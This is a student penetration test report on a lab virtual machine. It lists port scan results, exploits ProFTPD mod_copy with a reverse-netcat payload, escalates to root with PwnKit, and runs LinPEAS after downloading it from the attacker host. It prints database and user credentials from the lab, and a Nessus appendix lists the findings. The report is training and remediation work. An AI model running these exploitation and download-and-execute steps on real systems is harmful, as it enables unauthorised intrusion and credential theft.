Rei Thao
Computer Network Security

Project 1 - Penetration Test Report

I. Introduction / Purpose of Penetration Test

This penetration test was requested by and conducted for “Tiger Enterprises, Inc.”, a small consulting company. Tiger Enterprises has grown concerned about the security of their systems due to lack of a system administrator for three years. Exploitation and scan permission was given for virtual machine “U.” Security weaknesses are to be exposed and remedial actions recommended.

II. Executive Summary of Results

During the scanning and exploitation of the "U" system, several critical vulnerabilities were identified and successfully exploited. The system was compromised through application misconfigurations, exposed credentials, and a privilege escalation vulnerability. The penetration test resulted in administrative access to the system, discovery of user credentials, and access to configuration files.

III. Application Scanning Results for server U

Protocol	Port Number	App. Name	App. Ver.	Other Info.
tcp	21	ftp	ProFTPD **1.3.5**	open
tcp	22	ssh	OpenSSH **6.6.1p1 Ubuntu** 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)	open
tcp	80	http	Apache httpd **2.4.7**	open
tcp	445	netbios-ssn	netbios-ssn Samba smbd **4.3.11-Ubuntu** (workgroup: WORKGROUP)	open

tcp	631	ipp	CUPS **1.7**	open
tcp	3000	ppp	**Not specified - Unknown**	**closed**
tcp	3306	mysql	MySQL (unauthorized) **Unknown**	open
tcp	8080	http	Jetty **8.1.7.v20120910**	open
tcp	8181	intermapper	**Not specified - Unknown**	**closed**

Obtaining Application Scanning Results

To start off, the IP address of the virtual machine needs to be found. As the virtual machine is hosted locally, a scan of the subnet, “nmap aaa.bbb.ccc.o/24” can be used. After obtaining a list of IP’s from the scan, “sudo nmap -A aaa.bbb.ccc.ddd” was used to reveal the computer name “tigerenterprisesu” on the IP, indicating the correct IP was scanned. This command additionally revealed the TCP and UDP ports documented in section I.

IV. Exploit: mod_copy - ProFTPD mod_copy Remote Command Execution (exploit/unix/ftp/proftpd_modcopy_exec)

- Vulnerable Service: ProFTPD with mod_copy module enabled
- Port: 21/tcp (FTP)
- Exploit: unix/ftp/proftpd_modcopy_exec in Metasploit
- Access Gained: Remote shell as www-data

```
msf6 exploit(windows/http/oracle_event_processing_upload) > search proftpd 1.3.5
Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/proftpd_modcopy_exec  2015-04-22       excellent  Yes    ProFTPD 1.3.5 Mod_Copy Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/proftpd_modcopy_exec

msf6 exploit(windows/http/oracle_event_processing_upload) > search openssh 6.6.1p1
[-] No results from search
msf6 exploit(windows/http/oracle_event_processing_upload) > search apache 2.4.7
[-] No results from search
msf6 exploit(windows/http/oracle_event_processing_upload) > search samba 4.3.11
[-] No results from search
msf6 exploit(windows/http/oracle_event_processing_upload) > search cups 1.7
[-] No results from search
msf6 exploit(windows/http/oracle_event_processing_upload) > search Jetty 8.1.7
[-] No results from search
```

```
┌──(rei㉿Kali)-[~]
└─$ searchsploit ProFTPD 1.3.5
---------------------------------------------------------------------------------------------------------------------
 Exploit Title                                                                                                       |  Path
---------------------------------------------------------------------------------------------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)                                                            | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                                                                  | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)                                                              | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                                                                            | linux/remote/36742.txt
---------------------------------------------------------------------------------------------------------------------
```

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > use 15
[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > info

       Name: ProFTPD 1.3.5 Mod_Copy Command Execution
     Module: exploit/unix/ftp/proftpd_modcopy_exec
   Platform: Unix
       Arch: cmd
  Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
   Disclosed: 2015-04-22

Provided by:
  Vadim Melihow
  xistence <xistence@0x90.nl>

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
      Id  Name
      --  ----
  ⇒  0   ProFTPD 1.3.5

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.182.133  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      80               yes       HTTP port (TCP)
  RPORT_FTP  21               yes       FTP port
  SITEPATH   /var/www/html    yes       Absolute writable website path
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       Base path to the website
  TMPPATH    /tmp             yes       Absolute writable path
  VHOST                       no        HTTP server virtual host

Payload information:
  Avoid: 0 characters
```

The only exploit proven to exist for the specific application versions found in the previous section is “exploit/unix/ftp/proftpd_modcopy_exec”, an exploit targeting ProFTPD version 1.3.5. This exploit was proven successful in this session. To run the exploit, RHOSTS, RPORT, RPORT_FTP, SITEPATH, TARGETURI, and TMPPATH must be specified. System administrators should upgrade to more secure ProFTPD version.

V. Exploit: PwnKit (CVE-2021-4034) — Privilege Escalation

- Vulnerable Component: pkexec from polkit
- Exploit: PwnKit local escalation binary
- Result: Full root access from a low-privilege shell
- Discovered via LinPeas exploit

```
[*] Starting interaction with 7...
whoami
www-data
cd /tmp/PwnKit
./PwnKit
stdin: is not a tty
whoami
root
```

VI. Exploit: Credential Discovery via LinPEAS

- Tool Used: linpeas.sh
- Info found: passwords in /etc/mysql/debian.cnf, MySQL root password, and plaintext MySQL user creds from payroll.users
- User Verified: Logged in as kylo_ren with password Daddy_Issues2
- attacker:
  - wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
  - python3 -m http.server 8000

- remote shell:
  - wget http://192.168.182.130:8000/linpeas.sh -O /tmp/linpeas.sh
  - chmod +x /tmp/linpeas.sh
  - /tmp/linpeas.sh

```
╔═══╣ Searching passwords in config PHP files
/var/www/html/drupal/sites/default/settings.php:        'password' => 'sploitme',
/var/www/html/drupal/sites/default/settings.php: *      'password' => 'password',
/var/www/html/drupal/sites/default/settings.php: *      'password' => 'password',
/var/www/html/phpmyadmin/config.inc.php:$cfg['Servers'][$i]['password'] = 'sploitme';
/var/www/html/phpmyadmin/config.sample.inc.php:$cfg['Servers'][$i]['AllowNoPassword'] = false;
/var/www/html/phpmyadmin/libraries/config.default.php:$cfg['Servers'][$i]['AllowNoPassword'] = false;
/var/www/html/phpmyadmin/libraries/config.default.php:$cfg['Servers'][$i]['nopassword'] = false;
/var/www/html/phpmyadmin/libraries/config.default.php:$cfg['ShowChgPassword'] = true;
```

```
whoami
www-data
cd /tmp
cd /tmp/PwnKit
./PwnKit
stdin: is not a tty
whoami
root
mysql -u debian-sys-maint -p --socket=/var/run/mysqld/mysqld.sock
Enter password: gbt9nGi7dnUBnCGf
SELECT * FROM payroll.users;
ERROR 1146 (42S02) at line 1: Table 'payroll.users' doesn't exist
USE payroll;
-i: line 3: USE: command not found
mysql -u debian-sys-maint -p --socket=/var/run/mysqld/mysqld.sock
Enter password: gbt9nGi7dnUBnCGf
exit;
ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'exit' at line 1
whoami
root
python3 -c 'import pty; pty.spawn("/bin/bash")'
root@TigerEnterprisesU:/tmp/PwnKit# mysql -u debian-sys-maint -p --socket=/var/run/mysqld/mysqld.sock
</PwnKit# mysql -u debian-sys-maint -p --socket=/var/run/mysqld/mysqld.sock
Enter password: gbt9nGi7dnUBnCGf

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 7
Server version: 5.5.62-0ubuntu0.14.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
```

VII. Access via User Logins

- Passwords and usernames were manually verified via U virtual machine

- System Administrators should upgrade ProFTPD version, have users reset passwords, and not store user info in payroll MySQL database.

```
mysql> SELECT * FROM payroll.users;
SELECT * FROM payroll.users;
+-----------------+-----------+-----------+-----------------------+--------+
| username        | first_name | last_name | password              | salary |
+-----------------+-----------+-----------+-----------------------+--------+
| leia_organa     | Leia      | Organa    | help_me_obiwan        |   9560 |
| luke_skywalker  | Luke      | Skywalker | like_my_father_beforeme |  1080 |
| han_solo        | Han       | Solo      | nerf_herder           |   1200 |
| artoo_detoo     | Artoo     | Detoo     | b00p_b33p             |  22222 |
| c_three_pio     | C         | Threepio  | Pr0t0c07              |   3200 |
| ben_kenobi      | Ben       | Kenobi    | thats_no_m00n         |  10000 |
| darth_vader     | Darth     | Vader     | Dark_syD3             |   6666 |
| anakin_skywalker | Anakin    | Skywalker | but_master:(          |   1025 |
| jarjar_binks    | Jar-Jar   | Binks     | mesah_p@ssw0rd        |   2048 |
| lando_calrissian | Lando     | Calrissian | @dm1n1str8r           |  40000 |
| boba_fett       | Boba      | Fett      | mandalorian1          |  20000 |
| jabba_hutt      | Jaba      | Hutt      | my_kinda_skum         |  65000 |
| greedo          | Greedo    | Rodian    | hanSh0tF1rst          |  50000 |
| chewbacca       | Chewbacca |           | rwaaaaawr8            |   4500 |
| kylo_ren        | Kylo      | Ren       | Daddy_Issues2         |   6667 |
+-----------------+-----------+-----------+-----------------------+--------+
15 rows in set (0.00 sec)
```

```
Ubuntu 14.04 LTS TigerEnterprisesU tty1

TigerEnterprisesU logikylo_ren
Password:
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

kylo_ren@TigerEnterprisesU:~$
```

Appendix:

Nessus Scan With Complete Scan Results With all Vulnerability Details

U External Scan (Advanced Scan)

Report generated by Tenable Nessus™ Thu, 20 Mar 2025 20:52:53 PDT

Nessus Essentials

TABLE OF CONTENTS

Vulnerabilities by Host

- 192.168.182.133.....4

Nessus Essentials

Vulnerabilities by Host

Nessus Essentials

192.168.182.133

2	2	8	4	56
CRITICAL	HIGH	MEDIUM	LOW	INFO

Vulnerabilities Total: 72

SEVERITY	CVSS V3.0	VPR SCORE	EPSS SCORE	PLUGIN	NAME
CRITICAL	9.8	7.4	0.9411	84215	ProFTPD mod_copy Information Disclosure
CRITICAL	10.0*	-	-	92626	Drupal Coder Module Deserialization RCE
HIGH	7.5	5.1	0.406	42873	SSL Medium Strength Cipher Suites Supported (SWEET32)
HIGH	7.5*	7.4	0.944	78515	Drupal Database Abstraction API SQLi
MEDIUM	6.5	-	-	51192	SSL Certificate Cannot Be Trusted
MEDIUM	6.5	-	-	57582	SSL Self-Signed Certificate
MEDIUM	6.5	-	-	104743	TLS Version 1.0 Protocol Detection
MEDIUM	6.5	-	-	157288	TLS Version 1.1 Deprecated Protocol
MEDIUM	5.9	6.1	0.5488	187315	SSH Terrapin Prefix Truncation Weakness (CVE-2023-48795)
MEDIUM	5.3	2.2	0.7439	10704	Apache Multiviews Arbitrary Directory Listing
MEDIUM	5.3	-	-	57608	SMB Signing not required
MEDIUM	4.3*	-	-	90317	SSH Weak Algorithms Supported
LOW	3.7	6.5	0.0307	70658	SSH Server CBC Mode Ciphers Enabled
LOW	3.7	-	-	153953	SSH Weak Key Exchange Algorithms Enabled
LOW	2.1*	2.9	0.0045	10114	ICMP Timestamp Request Remote Date Disclosure
LOW	2.6*	-	-	71049	SSH Weak MAC Algorithms Enabled
INFO	N/A	-	-	18261	Apache Banner Linux Distribution Disclosure
INFO	N/A	-	-	48204	Apache HTTP Server Version
INFO	N/A	-	-	39519	Backported Security Patch Detection (FTP)

Nessus Essentials

INFO	N/A	-	-	39520	Backported Security Patch Detection (SSH)
INFO	N/A	-	-	39521	Backported Security Patch Detection (WWW)
INFO	N/A	-	-	45590	Common Platform Enumeration (CPE)
INFO	N/A	-	-	54615	Device Type
INFO	N/A	-	-	18638	Drupal Software Detection
INFO	N/A	-	-	194915	Eclipse Jetty Web Server Detection
INFO	N/A	-	-	19689	Embedded Web Server Detection
INFO	N/A	-	-	35716	Ethernet Card Manufacturer Detection
INFO	N/A	-	-	86420	Ethernet MAC Addresses
INFO	N/A	-	-	10092	FTP Server Detection
INFO	N/A	-	-	43111	HTTP Methods Allowed (per directory)
INFO	N/A	-	-	10107	HTTP Server Type and Version
INFO	N/A	-	-	24260	HyperText Transfer Protocol (HTTP) Information
INFO	N/A	-	-	42410	Microsoft Windows NTLMSSP Authentication Request Remote Network Name Disclosure
INFO	N/A	-	-	17651	Microsoft Windows SMB : Obtains the Password Policy
INFO	N/A	-	-	10859	Microsoft Windows SMB LsaQueryInformationPolicy Function Enumeration
INFO	N/A	-	-	10785	Microsoft Windows SMB NativeLanManager Remote System Information Disclosure
INFO	N/A	-	-	11011	Microsoft Windows SMB Service Detection
INFO	N/A	-	-	60119	Microsoft Windows SMB Share Permissions Enumeration
INFO	N/A	-	-	10395	Microsoft Windows SMB Shares Enumeration
INFO	N/A	-	-	100871	Microsoft Windows SMB Versions Supported (remote check)
INFO	N/A	-	-	106716	Microsoft Windows SMB2 and SMB3 Dialects Supported (remo check)
INFO	N/A	-	-	10719	MySQL Server Detection

192.168.182.133 5

INFO	N/A	-	-	11219	Nessus SYN scanner
INFO	N/A	-	-	19506	Nessus Scan Information
INFO	N/A	-	-	209654	OS Fingerprints Detected
INFO	N/A	-	-	11936	OS Identification
INFO	N/A	-	-	117886	OS Security Patch Assessment Not Available
INFO	N/A	-	-	181418	OpenSSH Detection
INFO	N/A	-	-	66334	Patch Report
INFO	N/A	-	-	70657	SSH Algorithms and Languages Supported
INFO	N/A	-	-	149334	SSH Password Authentication Accepted
INFO	N/A	-	-	10881	SSH Protocol Versions Supported
INFO	N/A	-	-	153588	SSH SHA-1 HMAC Algorithms Enabled
INFO	N/A	-	-	10267	SSH Server Type and Version Information
INFO	N/A	-	-	56984	SSL / TLS Versions Supported
INFO	N/A	-	-	45410	SSL Certificate 'commonName' Mismatch
INFO	N/A	-	-	10863	SSL Certificate Information
INFO	N/A	-	-	70544	SSL Cipher Block Chaining Cipher Suites Supported
INFO	N/A	-	-	21643	SSL Cipher Suites Supported
INFO	N/A	-	-	156899	SSL/TLS Recommended Cipher Suites
INFO	N/A	-	-	25240	Samba Server Detection
INFO	N/A	-	-	104887	Samba Version
INFO	N/A	-	-	96982	Server Message Block (SMB) Protocol Version 1 Enabled (uncredentialed check)
INFO	N/A	-	-	22964	Service Detection
INFO	N/A	-	-	25220	TCP/IP Timestamps Supported
INFO	N/A	-	-	121010	TLS Version 1.1 Protocol Detection

192.168.182.133 6

INFO	N/A	-	-	110723	Target Credential Status by Authentication Protocol - No Credentials Provided
INFO	N/A	-	-	10287	Traceroute Information
INFO	N/A	-	-	20094	VMware Virtual Machine Detection
INFO	N/A	-	-	135860	WMI Not Available
INFO	N/A	-	-	20108	Web Server / Application favicon.ico Vendor Fingerprinting
INFO	N/A	-	-	10150	Windows NetBIOS / SMB Remote Host Information Disclosure

* indicates the v3.0 score was not available; the v2.0 score is shown